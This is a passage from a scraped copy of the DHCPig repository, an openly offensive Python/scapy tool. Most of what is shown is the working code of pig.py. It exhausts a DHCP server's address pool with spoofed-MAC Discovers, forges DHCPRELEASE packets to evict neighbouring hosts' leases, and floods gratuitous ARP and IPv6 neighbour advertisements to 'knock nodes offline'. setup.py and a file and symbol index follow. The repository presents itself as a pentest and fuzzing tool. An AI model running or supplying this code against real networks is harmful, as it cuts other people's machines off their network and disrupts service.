        dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)
    return dhcp_discover

def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]):
    trid=trid or random.randint(0x00,0xffffff)
    ethead=v6_build_ether(p_advertise[Ether].dst)
    srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)
    cli_id=p_advertise[DHCP6OptClientId]
    iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)
    dhcp_request=ethead/DHCP6_Request(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()/DHCP6OptOptReq( reqopts=options)
    return dhcp_request

def v6_build_release(p_advertise,mac,iaid=0xf,trid=None):
    trid=trid or random.randint(0x00,0xffffff)
    ethead=v6_build_ether(p_advertise[Ether].dst)
    srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)
    cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))
    iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)
    dhcp_request=ethead/DHCP6_Release(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()
    return dhcp_request

def sendPacket(pkt):
    if MODE_FUZZ:
        # only fuzz: UDP with payload of UDP (DHCP messages)
        pkt[UDP] = fuzz(pkt[UDP])
    #pkt = [pkt]*100
    sendp(pkt, iface=conf.iface)


def neighbors():
    """
    ARP and create map of LAN neighbors 
    """
    global dhcpsip, subnet, nodes
    nodes = {}
    if MODE_IPv6:
        LOG(type="WARNING", message="IPv6 - neighbors() not supported at this point ")
    else:
        myip = get_if_ip(conf.iface)
        LOG(type="DEBUG", message="NEIGHBORS:  net = %s  : msk =%s  : CIDR=%s"%(get_if_net(conf.iface),get_if_msk(conf.iface),calcCIDR(get_if_msk(conf.iface))))
        pool = Net(myip + "/" + calcCIDR(get_if_msk(conf.iface)))
        for ip in pool:
            LOG(type="<--", message="ARP: sending %s " %ip)
            arp_request=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip, psrc=myip)
            sendPacket(arp_request)
            time.sleep(0.005)


def release():
    """
        send release for our neighbors
    """
    global dhcpsmac,dhcpsip,nodes,p_dhcp_advertise
    if MODE_IPv6 and p_dhcp_advertise and DHCP6OptServerId in p_dhcp_advertise:
        LOG(type="WARNING", message= " IPv6 - release() is not supported and supposed to be experimental - feel free to add code! ")
        return
        # we are releaseing client IDs!
        m=randomMAC()
        v6_build_release(p_dhcp_advertise,mac)
    else:
        LOG(type="NOTICE", message= "***  Sending DHCPRELEASE for neighbors ")
        #iterate over all nodes and release their IP from DHCP server
        for cmac,cip in nodes.items():
            myxid = random.randint(1, 900000000)
            LOG(type="-->", message= "Releasing %s - %s serverip=%s  xid=%i"%(cmac,cip,dhcpsip,myxid))
            dhcp_release =  IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid)/\
                            DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
            sendPacket(dhcp_release)
            if conf.verb: LOG(type="DEBUG", message= "%r"%dhcp_release )


def garp():
    """ 
        knock nodes offline
    """
    global dhcpsip, subnet
    if MODE_IPv6:
        LOG(type="NOTICE", message="IPv6 - gratious_arp() not supported at this point ")
        return
        pool=Net6(dhcpsip+"/"+calcCIDR(subnet))
        for ip in pool:
            m=randomMAC()
            # craft packet  Ether/IPv6/ICMPv6_ND_NA/ICMPv6NDOptDstLLAddr
            LL_ScopeALL_Multicast_Address="ff02::1"
            arpp = Ether(src=m,dst="33:33:00:00:00:01")/IPv6(src=ip,dst=LL_ScopeALL_Multicast_Address)/ICMPv6ND_NA(tgt=ip,R=0)/ICMPv6NDOptDstLLAddr(lladdr="00:00:00:00:00:00")
            sendPacket(arpp)
            LOG(type="-->", message= "v6_ICMP_NeighborDiscovery - knock offline  %s"%ip)
            if conf.verb: LOG(type="DEBUG", message="%r"%arpp)
    else:
        pool = Net(dhcpsip+"/"+calcCIDR(subnet))
        for ip in pool:
            m = randomMAC()
            arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
            sendPacket(arpp)
            LOG(type="-->", message="Gratious_ARP - knock offline %s"%ip)
            if conf.verb: LOG(type="DEBUG", message="%r"%arpp)


class send_dhcp(threading.Thread):
    """
    loop and send Discovers
    """
    def __init__(self):
        threading.Thread.__init__(self)
        self.kill_received = False

    def run(self):
       global TIMEOUT, dhcpdos, REQUEST_OPTS, ETHERNET_MAC
       while not self.kill_received and not dhcpdos:
            m = randomMAC()
            myxid = random.randint(1, 900000000)
            if ETHERNET_MAC:
                mymac = m
            else:
                mymac = get_if_hwaddr(conf.iface)
            hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
            # Mac OS options order to avoid DHCP fingerprinting
            myoptions = [
                ("message-type", "discover"),
                #  Can replace numeric representation with DHCPRevOptions[],
                #  but not all parameters are defined in scapy.  For full list see:
                #  https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml
                ('param_req_list',
                1, # Subnet Mask DHCPRevOptions["subnet_mask"][0]
                121, # Classless Satic Route
                3, # Router DHCPRevOptions["router"][0]
                6, # Domain Name Server DHCPRevOptions["name_server"][0]
                15, # Domain Name DHCPRevOptions["domain"][0]
                119, # Domain Seach
                252, # Private/Proxy Autodiscovery
                95, # LDAP
                44, # NetBIOS over TCP/IP Name Server DHCPRevOptions["NetBIOS_server"][0]
                46 # NetBIOS over TCP/IP Node Type
                ),
                ("max_dhcp_size",1500),
                ("client_id", chr(1), mac2str(m)),
                ("lease_time",10000),
                ("hostname", hostname),
                ("end",'00000000000000')
            ]
            if MODE_IPv6:
                dhcp_discover = v6_build_discover(m,trid=myxid,options=REQUEST_OPTS)
                LOG(type="-->", message="v6_DHCP_Discover [cid:%s]"%(repr(str(dhcp_discover[DHCP6OptClientId].duid))))
            else:
                dhcp_discover = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid,flags=0x8000)/DHCP(options=myoptions)
                LOG(type="-->", message="DHCP_Discover")
            sendPacket(dhcp_discover)
            if TIMEOUT['timer']>0: 
                time.sleep(TIMEOUT['timer'])


class sniff_dhcp(threading.Thread):
    """
    sniff DHCP Offers and ACK
    """
    def __init__(self):
        threading.Thread.__init__(self)
        if MODE_IPv6:
            self.filter = "icmp6 or (udp and src port 547 and dst port 546)"
        else:
            self.filter = "arp or icmp or (udp and src port 67 and dst port 68)"
        self.kill_received = False
        self.dhcpcount = 0

    def run(self):
        global dhcpdos
        while not self.kill_received and not dhcpdos:
            sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=conf.iface)
            if self.dhcpcount>0 : LOG(type="NOTICE", message="timeout waiting on dhcp packet count %d"%self.dhcpcount)
            self.dhcpcount += 1
            if not MODE_FUZZ and self.dhcpcount==5: dhcpdos = True
    
    @staticmethod
    def get_server_identifier(bootp_siaddr: str, dhcp_options: list) -> str:
        for opt in dhcp_options:
            if opt[0] == 'server_id':
                return opt[1]
        return bootp_siaddr
        
          
    def detect_dhcp(self, pkt):
        global dhcpsmac,dhcpsip,subnet,SHOW_ARP,SHOW_DHCPOPTIONS,SHOW_ICMP,DO_v6_RC,p_dhcp_advertise, SHOW_LEASE_CONFIRM,REQUEST_OPTS, ETHERNET_MAC
        if MODE_IPv6:
            if DHCP6_Advertise in pkt:
                self.dhcpcount = 0
                if DHCP6OptIAAddress in pkt and DHCP6OptServerId in pkt:
                    p_dhcp_advertise = pkt
                    myip = pkt[DHCP6OptIAAddress].addr
                    sip = repr(pkt[DHCP6OptServerId].duid.lladdr)
                    cip = repr(pkt[DHCP6OptClientId].duid.lladdr)
                    myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
            
                    LOG(type="<--", message=("v6 ADVERTISE FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip)))
                    if SHOW_DHCPOPTIONS:
                        b = pkt[DHCP6_Advertise]
                        b=str(b.show)
                        for h in b.split("|<"):
                            LOG(type="DEBUG",message="\t* %s"%h)
                    
                    if not DO_v6_RC:
                        # we dont need to request the address if we're using rapid commit mode (2 message: solict / reply)
                        dhcp_req=v6_build_request(pkt,options=REQUEST_OPTS)
                        sendPacket(dhcp_req)
                        LOG(type="-->", message= "v6 REQUEST ACK IPv6[%s]\n"%myip)

            elif SHOW_LEASE_CONFIRM and DHCP6_Reply in pkt :
                myip=pkt[DHCP6OptIAAddress].addr
                sip=repr(pkt[DHCP6OptServerId].duid.lladdr)
                cip=repr(pkt[DHCP6OptClientId].duid.lladdr)
                LOG(type="<-", message=("v6 DHCP REPLY FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip)))
            elif SHOW_ICMP and ICMPv6ND_NS in pkt and ICMPv6NDOptSrcLLAddr in pkt :
                LOG(type="<-", message= "v6 ICMP REQUEST FROM [%s] -> [%s]"%(pkt[ICMPv6NDOptSrcLLAddr].lladdr,pkt[ICMPv6ND_NS].tgt)) 
        else:
            if DHCP in pkt:
                if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
                    self.dhcpcount=0
                    dhcpsip = pkt[IP].src
                    dhcpsmac = pkt[Ether].src
                    for opt in pkt[DHCP].options:
                        if opt[0] == 'subnet_mask':
                            subnet=opt[1]
                            break
                    myip=pkt[BOOTP].yiaddr
                    sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)
                    localxid=pkt[BOOTP].xid
                    localm=unpackMAC(pkt[BOOTP].chaddr)
                    if ETHERNET_MAC:
                        mymac = localm
                    else:
                        mymac = get_if_hwaddr(conf.iface)
                    myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
                    LOG(type="<--", message= "DHCP_Offer   " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+localm+"]")
    
                    if SHOW_DHCPOPTIONS:
                        b = pkt[BOOTP]
                        LOG(type="DEBUG", message=  "\t* xid=%s"%repr(b.xid))
                        LOG(type="DEBUG", message=  "\t* CIaddr=%s"%repr(b.ciaddr)  )      
                        LOG(type="DEBUG", message=  "\t* YIaddr=%s"%repr(b.yiaddr)  )
                        LOG(type="DEBUG", message=  "\t* SIaddr=%s"%repr(b.siaddr)  )
                        LOG(type="DEBUG", message=  "\t* GIaddr=%s"%repr(b.giaddr)  )
                        LOG(type="DEBUG", message=  "\t* CHaddr=%s"%repr(b.chaddr)  )
                        LOG(type="DEBUG", message=  "\t* Sname=%s"%repr(b.sname)  )
                        for o in pkt[DHCP].options:
                            if isinstance(o,str):
                                if o=="end": break        #supress spam paddings :)
                                LOG(type="DEBUG", message=  "\t\t* "+repr(o)  )
                            else:
                                LOG(type="DEBUG", message=  "\t\t* %s\t%s"%(o[0],o[1:])  )    

                    # ("param_req_list",0) is the equivalent of using DHCPRevOptions["pad"][0]
                    dhcp_req = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid,flags=0x8000)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list",0),"end"])
                    
                    LOG(type="-->", message= "DHCP_Request "+myip)
                    sendPacket(dhcp_req)
                elif SHOW_LEASE_CONFIRM and pkt[DHCP] and pkt[DHCP].options[0][1] == 5:
                    myip=pkt[BOOTP].yiaddr
                    sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)
                    LOG(type="<-", message= "DHCP_ACK   " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+pkt[Ether].dst+"]")
            
            elif ICMP in pkt:
                if pkt[ICMP].type==8:
                    myip=pkt[IP].dst
                    mydst=pkt[IP].src
                    if SHOW_ICMP: LOG(type="<-", message= "ICMP_Request "+mydst+" for "+myip )
                    icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
                    if conf.verb: 
                        LOG(type="DEBUG", message=  "%r"%icmp_req )
                    sendPacket(icmp_req)

            elif SHOW_ARP and ARP in pkt:
                myip = pkt[ARP].pdst
                mydst = pkt[ARP].psrc
                if pkt[ARP].op ==1:        #op=1 who has, 2 is at
                    LOG(type="DEBUG", message="ARP_Request " + myip + " from " + mydst)
                elif pkt[ARP].op ==2:
                    myip=pkt[ARP].psrc
                    myhw=pkt[ARP].hwsrc
                    LOG(type="<-", message= "ARP_Response %s : %s" %(myip, myhw))
                    nodes[myhw] = myip


def main():
    """
    """
    global THREAD_POOL,dhcpdos,dhcpsip,dhcpsmac,subnet,nodes,THREAD_CNT,p_dhcp_advertise
    
    checkArgs()
    LOG(type="NOTICE", message= "[INFO] - using interface %s"%conf.iface)
    signal.signal(signal.SIGINT, signal_handler)
    dhcpsip=None
    dhcpsmac=None
    subnet=None
    nodes={}
    dhcpdos=False 
    p_dhcp_advertise = None # contains dhcp advertise pkt once it is received (base for creating release())

    LOG(type="DEBUG",message="Thread %d - (Sniffer) READY"%len(THREAD_POOL))
    t=sniff_dhcp()
    t.start()
    THREAD_POOL.append(t)
    
    for i in range(THREAD_CNT):
        LOG(type="DEBUG",message="Thread %d - (Sender) READY"%len(THREAD_POOL))
        t=send_dhcp()
        t.start()
        THREAD_POOL.append(t)

    fail_cnt=20
    while dhcpsip==None and fail_cnt>0:
        time.sleep(TIMEOUT['dhcpip'])
        LOG(type="?", message= "\t\twaiting for first DHCP Server response")
        fail_cnt-=1
    
    if fail_cnt==0:
        LOG(type="NOTICE", message= "[FAIL] No DHCP offers detected - aborting")
        signal_handler(signal.SIGINT,fail_cnt)

    if DO_ARP: neighbors()
    if DO_RELEASE: release()
       
    while not dhcpdos:
        time.sleep(TIMEOUT['dos'])
        LOG(type="?", message= " \t\twaiting for DHCP pool exhaustion...")
    
    if DO_GARP:   
        LOG(type="NOTICE", message= "[INFO] waiting %s to mass grat.arp!"%TIMEOUT['dos'])
        time.sleep(TIMEOUT['dos'])
        garp()
    LOG(type="NOTICE", message= "[DONE] DHCP pool exhausted!")
  
def usage():
    print(__doc__)
    
if __name__ == '__main__':
    main()
    print("\n")


================================================
FILE: setup.py
================================================
#!/usr/bin/python

# setup.py Authors:
#   Philippe Thierry <phil@reseau-libre.net>

import os
import os.path

from distutils.core import setup

setup(
    name="dhcpig",
    author="Kevin Amorin",
    description="DHCP exhaustion script using scapy network library",
    license="GPL2+",
    url="https://github.com/kamorin/DHCPig",
    scripts=[
        ("pig.py")
    ],
)
Download .txt
gitextract_2g4e905f/

├── README.md
├── dhcpig.1
├── pig.py
└── setup.py
Download .txt
SYMBOL INDEX (30 symbols across 1 files)

FILE: pig.py
  class Colors (line 53) | class Colors:
    class Palette (line 54) | class Palette:
  function checkArgs (line 152) | def checkArgs():
  function LOG (line 262) | def LOG(message=None, type=None):
  function signal_handler (line 285) | def signal_handler(signal, frame):
  function randomMAC (line 296) | def randomMAC():
  function toNum (line 310) | def toNum(ip):
  function get_if_net (line 315) | def get_if_net(iff):
  function get_if_msk (line 322) | def get_if_msk(iff):
  function get_if_ip (line 329) | def get_if_ip(iff):
  function calcCIDR (line 336) | def calcCIDR(mask):
  function unpackMAC (line 348) | def unpackMAC(binmac):
  function v6_build_ether (line 367) | def v6_build_ether(mac):
  function v6_build_discover (line 382) | def v6_build_discover(mac,trid=None,options=[23,24]):
  function v6_build_request (line 392) | def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]):
  function v6_build_release (line 401) | def v6_build_release(p_advertise,mac,iaid=0xf,trid=None):
  function sendPacket (line 410) | def sendPacket(pkt):
  function neighbors (line 418) | def neighbors():
  function release (line 437) | def release():
  function garp (line 460) | def garp():
  class send_dhcp (line 487) | class send_dhcp(threading.Thread):
    method __init__ (line 491) | def __init__(self):
    method run (line 495) | def run(self):
  class sniff_dhcp (line 540) | class sniff_dhcp(threading.Thread):
    method __init__ (line 544) | def __init__(self):
    method run (line 553) | def run(self):
    method get_server_identifier (line 562) | def get_server_identifier(bootp_siaddr: str, dhcp_options: list) -> str:
    method detect_dhcp (line 569) | def detect_dhcp(self, pkt):
  function main (line 670) | def main():
  function usage (line 719) | def usage():
Condensed preview — 4 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (48K chars).
[
  {
    "path": "README.md",
    "chars": 13300,
    "preview": "DHCPig\n======\n\nTags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy\n\nSUMMARY\n-------\n\nDHCPig initiates"
  },
  {
    "path": "dhcpig.1",
    "chars": 3176,
    "preview": ".TH \"DHCPIG\" \"1\" \" DHCPig Man Page\" \"Philippe Thierry\" \"June 2017\" \n.nh\n.ad l\n\n\n.SH NAME\n.PP\ndhcpig \\- DHCP exhaustion s"
  },
  {
    "path": "pig.py",
    "chars": 28715,
    "preview": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nenhanced DHCP exhaustion attack.\n\nDoc:\n    http://github.com/kamorin"
  },
  {
    "path": "setup.py",
    "chars": 376,
    "preview": "#!/usr/bin/python\n\n# setup.py Authors:\n#   Philippe Thierry <phil@reseau-libre.net>\n\nimport os\nimport os.path\n\nfrom dist"
  }
]

About this extraction

This page contains the full source code of the kamorin/DHCPig GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 4 files (44.5 KB), approximately 13.9k tokens, and a symbol index with 30 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!